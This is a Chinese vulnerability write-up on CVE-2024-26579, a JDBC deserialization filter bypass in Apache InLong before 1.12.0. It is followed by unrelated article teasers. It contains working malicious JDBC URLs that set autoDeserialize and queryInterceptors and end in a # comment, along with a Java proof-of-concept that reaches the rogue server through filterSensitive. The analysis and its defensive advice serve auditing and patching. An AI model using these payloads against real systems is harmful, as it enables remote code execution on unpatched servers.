反序列化漏洞浅析

Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。浅析Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)
0x00 前言
Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。
在这里插入图片描述
0x01 CVE-2024-26579
在受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。

1.1 影响范围
org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)
1.2 修复方案
将组件 org.apache.inlong:inlong-manager 升级至 1.12.0 及以上版本
0x02 漏洞分析与复现
以1.11.0版本为例。结合历史漏洞,一般是通过org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口进行利用:
在这里插入图片描述
实际上调用的是org.apache.inlong.manager.service.node.starrocks.StarRocksDataNodeOperator#testConnection:
在这里插入图片描述
这里首先会通过org.apache.inlong.manager.pojo.node.starrocks.StarRocksDataNodeDTO#convertToJdbcUrl方法对用户传递的jdbcUrl进行一定的处理:
在这里插入图片描述
本质上是通过org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive对恶意的内容进行处理,包括一些历史的绕过CVE也是在该方法进行修复处理的:
在这里插入图片描述
例如CVE-2023-46227只对用户输入的 jdbc url 参数中的空格做了过滤,没有对其他空白字符过滤。具备 InLong Web 端登陆权限的攻击者可以使用\t绕过对 jdbc url 中autoDeserialize、allowUrlInLocalInfile、allowLoadLocalInfileInPath参数的检测,进而在MySQL客户端造成任意代码执行、任意文件读取等危害。在filterSensitive方法中也可以看到对应修复的痕迹:
在这里插入图片描述
最终在org.apache.inlong.manager.service.resource.sink.starrocks.StarRocksJdbcUtils#getConnection尝试进行连接。

本质上CVE-2024-26579也是filterSensitive方法的绕过,下面分析具体的绕过过程:

2.1 现有防护措施
首先看看1.11.0版本org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive具体的防护措施。主要思路是是从给定的 URL 中过滤掉敏感参数。

在非空判断后,使用 URLDecoder.decode 方法循环解码 URL,直到没有百分号编码的字符(InlongConstants.PERCENT)为止:
在这里插入图片描述
然后通过正则表达式 InlongConstants.REGEX_WHITESPACE 移除 URL 中的所有空白字符:
在这里插入图片描述
检查处理后的 URL 是否包含问号InlongConstants.QUESTION_MARK,如果存在参数部分,将其拆分为键值对:
在这里插入图片描述
在这个过程中,会检查请求的参数是否在对应的Map中,如果是,则跳过该参数:
在这里插入图片描述
并且将 SENSITIVE_REPLACE_PARAM_MAP 中的key-value添加到对应的参数列表中:
在这里插入图片描述
综上,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,同时考虑到了URL编码、空白符等绕过风险。

2.2 绕过方式
之前也简单整理过Jdbc Attack防护绕过的思路,具体可见https://forum.butian.net/share/2771 。很明显漏洞影响版本的Apache InLong没有对#注释符进行额外的处理。从修复的commit(https://github.com/apache/inlong/commit/a59a81425f4fd5ce601dc02b04f31a49e3eacbec )也可以看到确实新增了对#注释符的处理:

在这里插入图片描述
根据前面的分析,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,这样即使攻击者在连接url中设置了autoDeserialize参数也会被覆盖掉。

而在mysql-connector-java-8.0.x的解析过程中,会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,会通过正则捕获对应的内容:

private static final Pattern CONNECTION_STRING_PTRN = Pattern.compile(“(?[\w:%]+)\s*(?😕/(?[/?#]*))?\s*(?😕(?!\s*/)(?[?#]))?(?:\?(?!\s\?)(?[^#]))?(?:\s#(?.*))?”);
可知在匹配 URL 的查询参数部分时,使用 (?[^#]*) 匹配查询参数,这里#充当了注释符的作用,在获取query时会将#后面的注释部分去掉。也就是说,8.0.x版本实际上是支持通过注释符#来注释掉后面的内容的。那么就可以通过#注释掉之后拼接的内容。

但是仅仅通过#注释符是没办法进行利用的,因为Apache InLong在处理时会检查请求的参数是否在对应的Map中,如果是,则跳过该参数。而这个参数是通过?处理得到的。即使#处理掉了Apache InLong拼接的额外内容,也没办法通过?autoDeserialize=true的方式写入恶意的参数。

实际上还有一处修复的commit(https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8 ),这里多了一段字符串替换的逻辑:

在这里插入图片描述
这里会对经过解码和剔除空白符的url进行处理,遍历SENSITIVE_REPLACE_PARAM_MAP的key,对类似autoDeserialize=true的内容替换成null。那么为什么要增加这段逻辑呢?
在这里插入图片描述
在对应的issues中翻到了这一条记录https://github.com/apache/inlong/issues/9689 ,从内容上大致可以看到是通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数:

在这里插入图片描述
以mysql-connector-java-8.0.19.jar为例,查看具体的解析逻辑,若请求的jdbcUrl合法,则调用ConnectionUrl.getConnectionUrlInstance⽅法,这里会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,主要是通过正则捕获对应的内容:
在这里插入图片描述
在getConnectionUrlInstance方法中,首先从 parser 中获取主机的列表大小:
在这里插入图片描述
这里会调用parseAuthoritySection方法进行解析:
在这里插入图片描述
如果请求的authority 不为null,会调用parseAuthoritySegment进行处理:
在这里插入图片描述
在parseAuthoritySegment方法中,会尝试使用不同的方法构建 HostInfo 对象:

buildHostInfoForEmptyHost
buildHostInfoResortingToUriParser
buildHostInfoResortingToSubHostsListParser
buildHostInfoResortingToKeyValueSyntaxParser
buildHostInfoResortingToAddressEqualsSyntaxParser
buildHostInfoResortingToGenericSyntaxParser
在这里插入图片描述
最终完成 HostInfo 对象,同时authority中的参数也会作为请求的参数进行解析。

查看具体HostInfo的解析方式,发现buildHostInfoResortingToKeyValueSyntaxParser和buildHostInfoResortingToAddressEqualsSyntaxParser的解析都跟()有关,可以通过()来进行参数的传递:

final Pattern KEY_VALUE_HOST_PTRN = Pattern.compile(“[,\s](?[\w\.\-\s%])(?:=(?[^,]))?“);
private static final Pattern ADDRESS_EQUALS_HOST_PTRN = Pattern.compile(”\s
\(\s*(?[\w\.\-%]+)?\s*(?:=(?[^)]))?\)\s”);
在这里插入图片描述
在这里插入图片描述
结合前面的分析,因为filterSensitive仅仅考虑了?传递参数的情况。结合mysql-connector-java的解析,可以通过在authority进行参数的传递,主要有如下两种方式:

(键值对形式)
jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test?
address=(键值对形式)
jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?
结合漏洞版本忽略了#注释的处理,在jdbc请求的url后追加#注释,即可绕过现有的安全防护。

验证前面的猜想,通过下面的代码模拟org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口的调用过程,尝试进行绕过:

try {
String url=“jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#”;
String jdbcURL= MySQLSensitiveUrlUtils.filterSensitive(url);
Class.forName(“com.mysql.cj.jdbc.Driver”);
DriverManager.getConnection(jdbcURL,“CB 1.9”,“”);
} catch (Exception e) {
e.printStackTrace();
}
在这里插入图片描述
可以看到成功绕过了org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive防护机制,执行了对应的命令:
在这里插入图片描述
(键值对形式)同理:
在这里插入图片描述
0x03 其他
实际上官方文档也提及到上述所说的传递参数的方式https://dev.mysql.com/doc/connector-j/en/connector-j-reference-jdbc-url-format.html ,还有一些其他的例子:
在这里插入图片描述
在实际业务场景中,一般针对JDBC Attack的防护主要分为两种:

支持jdbc连接串的直接传递,会将jdbc连接串按预置模板解析出对应的字段,然后再进行安全检查
不支持jdbc连接串的直接传递,但是host、用户名、密码、数据库名以及自定义的连接字符串这一系列输入可能通过StringBuilder#append进行拼接,最终合并成一个完成的jdbcUrl进行连接。在这个过程中对对应的字符进行检查
如果在实际防护中没有考虑到上述的传参方式的话,例如host字段可能没有限制具体的内容,还是会存在对应的安全风险的。在实际代码审计过程中可以额外关注。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/11284.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

三周精通FastAPI:39 用FastAPI CLI命令行程序管理FastAPI项目

官方文档&#xff1a;https://fastapi.tiangolo.com/zh/fastapi-cli/ FastAPI CLI FastAPI CLI 是一个命令行程序&#xff0c;你可以用它来部署和运行你的 FastAPI 应用程序&#xff0c;管理你的 FastAPI 项目&#xff0c;等等。 当你安装 FastAPI 时&#xff08;例如使用 p…

Bean实例化

Bean有3种实例化方法 1.通过无参构造方法实例化 假如我们有以下结构&#xff1a; 这里我们在无参构造方法种打印字符串&#xff1a; 然后我们运行 可知&#xff0c;IoC管理bean进行实例化的时候是通过无参构造方法实例化的。 2.静态工厂实例化 假设我们有以下配置文件&…

【网络安全】线程安全分析及List遍历

未经许可,不得转载。 文章目录 线程线程安全问题遍历List的方式方式一方式二方式三方式四(Java 8)方式五(Java 8 Lambda)遍历List的同时操作ListVector是线程安全的?使用线程安全的CopyOnWriteArrayList使用线程安全的List.forEach线程 线程是程序执行的最小单位。一个程…

ReactPress 安装指南:从 MySQL 安装到项目启动

ReactPress Github项目地址&#xff1a;https://github.com/fecommunity/reactpress 欢迎Star。 ReactPress 是一个基于 React 的开源发布平台&#xff0c;适用于搭建博客、网站或内容管理系统&#xff08;CMS&#xff09;。本文将详细介绍如何安装 ReactPress&#xff0c;包括…

caozha-whois(域名Whois查询源码)

caozha-whois&#xff0c;是一个采用原生PHP写的域名Whois查询模块&#xff0c;支持全球大部分域名的whois查询&#xff0c;支持中文域名在内的多种域名后缀&#xff0c;包括&#xff1a;.com&#xff0c;.net&#xff0c;.cn&#xff0c;.com.cn&#xff0c;.org&#xff0c;.…

2024 年(第 7 届)“泰迪杯”数据分析技能赛A 题 自动化生产线数据分析 完整代码结果分享

一、背景 随着信息技术的快速发展&#xff0c;工业自动化领域的智能控制系统日益完善。自动化生产线能够独立完成从物料输送到元件抓取&#xff0c;再到产品安装和质量检验的各个环节&#xff0c;这不仅极大提升了制造效率和产品质量&#xff0c;也有效降低了生产成本。 为了使…

探索Python自动化新境界:Invoke库的神秘面纱

文章目录 **探索Python自动化新境界&#xff1a;Invoke库的神秘面纱**第一部分&#xff1a;背景介绍第二部分&#xff1a;Invoke库是什么&#xff1f;第三部分&#xff1a;如何安装Invoke库&#xff1f;第四部分&#xff1a;Invoke库函数使用方法1. 定义任务2. 执行任务3. 任务…

Qt_day4_Qt_UI设计

目录 Qt_UI设计 1. Designer 设计师&#xff08;掌握&#xff09; 2. Layout 布局&#xff08;重点&#xff09; 2.1 基本使用 2.2 高级用法 2.3 代码布局&#xff08;了解&#xff09; 3. Designer与C的关系&#xff08;熟悉&#xff09; 4. 基本组件&#xff08;掌握…

conda和conda的常用命令

目录 一、什么是conda 1. conda的定义和作用 2. conda的特点 3. conda与pip的区别 二、conda的常用命令 1. 环境管理 2.包管理 3. 查看信息 4. 清理和维护 5. 频道(channel)管理 6. 导出和复制环境 7. 加速相关(镜像) 一、什么是conda 1. conda的定义和作用 2. co…

基于STM32通过TM1637驱动4位数码管详细解析(可直接移植使用)

目录 1. 单位数码管概述 2. 对应编码 2.1 共阳数码管 2.2 共阴数码管 3. TM1637驱动数码管 3.1 工作原理 3.1.1 读键扫数据 3.1.2 显示器寄存器地址和显示模式 3.2 时序 3.2.1 指令数据传输过程&#xff08;读案件数据时序&#xff09; 3.2.2 写SRAM数据…

16.UE5拉怪机制,怪物攻击玩家,伤害源,修复原视频中的BUG

2-18 拉怪机制&#xff0c;怪物攻击玩家、伤害源、黑板_哔哩哔哩_bilibili 目录 1.实行行为树实现拉怪机制 1.1行为树黑板 1.2获取施加伤害对象&#xff08;伤害源&#xff09; 2.修复原视频中&#xff0c;第二次攻击怪物后&#xff0c;怪物卡在原地不动的BUG 3.怪物攻击玩…

【JavaEE初阶 — 多线程】内存可见性问题 volatile

1. 内存可见性问题 内存可见性的概念 什么是内存可见性问题呢&#xff1f; 当一个线程对共享变量进行了修改&#xff0c;那么另外的线程都是立即可以看到修改后的最新值。在Java中&#xff0c;可以借助 synchronized、volatile 以及各种Lock 实现可见性。如果我们将变量声…

3195. 有趣的数-13年12月CCF计算机软件能力认证(组合数)

题目 思路 统计方案的时候先去分类&#xff0c;先放01&#xff0c;然后在考虑23对于第k类&#xff0c; 对于01的选择 对于所有的分类&#xff1a;本题我觉得要考虑的几个点就是&#xff1a;状态分类得到数学公式组合数的计算防越界处理 代码 计算组合数的代码模板&#xff1…

goframe开发一个企业网站 开发环境DOCKER 搭建16

Docker开发环境搭建的优势 环境一致性 消除"在我机器上能运行"的问题保证开发、测试、生产环境的一致性新成员可以快速搭建完整开发环境 快速部署 一键启动所有依赖服务配置文件版本控制环境迁移方便快捷 资源隔离 避免不同项目依赖冲突系统资源可控便于多版本…

C++builder中的人工智能(20):如何在C++中开发一个简单的Hopfield网络

在AI技术的发展历史中&#xff0c;模式识别模型是最伟大的AI技术之一&#xff0c;尤其是从像素图像中读取文本。其中一个是Hopfield网络&#xff08;或称为Ising模型的神经网络或Ising–Lenz–Little模型&#xff09;&#xff0c;这是一种递归神经网络形式&#xff0c;由John J…

【Leetcode 中等】34. 在排序数组中查找元素的第一个和最后一个位置

原题链接 Leetcode 34. 在排序数组中查找元素的第一个和最后一个位置 题目 给你一个按照非递减顺序排列的整数数组 nums&#xff0c;和一个目标值 target。请你找出给定目标值在数组中的开始位置和结束位置。如果数组中不存在目标值 target&#xff0c;返回 [-1, -1]。 你必…

金融学期末速成笔记

【拯救者】金融学速成&#xff08;基础习题&#xff09; 重点: 市场经济是发达的商品经济。在市场经济条件下&#xff0c;市场机制作为资源配置方式&#xff0c;发挥基础性作用。 除具有商品经济的一般特征外&#xff0c;与商品经济相比&#xff0c;市场经济还具有一些新的特征…

云计算复习文档

云计算复习文档 一 云计算概述 名词&#xff1a; 云计算 1.0 &#xff1a; 面向数据中心管理员的IT基础设施资源虚拟化阶段 通过计算虚拟化技术将企业IT应用与底层的基础设施彻底分离、解耦 将多个企业IT应用实例及运行环境复用在相同的物理服务器上&#xff0c;并通过虚…

【Docker容器化技术】docker安装与配置、常用命令、容器数据卷、应用部署实战、Dockerfile、服务编排docker-compose、私有仓库

文章目录 一、Docker的安装与配置1、docker概述2、安装docker3、docker架构4、配置镜像加速器 二、Docker命令1、服务相关命令2、镜像相关命令3、容器相关命令 三、Docker容器数据卷1、数据卷概念及作用2、配置数据卷3、配置数据卷容器 四、Docker应用部署实战1、部署MySQL2、部…

window11安装elasticsearch+Kibana

1、下载elasticsearch与elasticsearch 下载elasticsearch 查看elasticsearch对应的Kibana版本 下载elasticsearch解压后文件目录如下 可执行脚本文件,包括启动elasticsearch服务、插件管理、函数命令等 bin配置文件目录,如elasticsearch配置、角色配置、jvm配置等 conf 默认…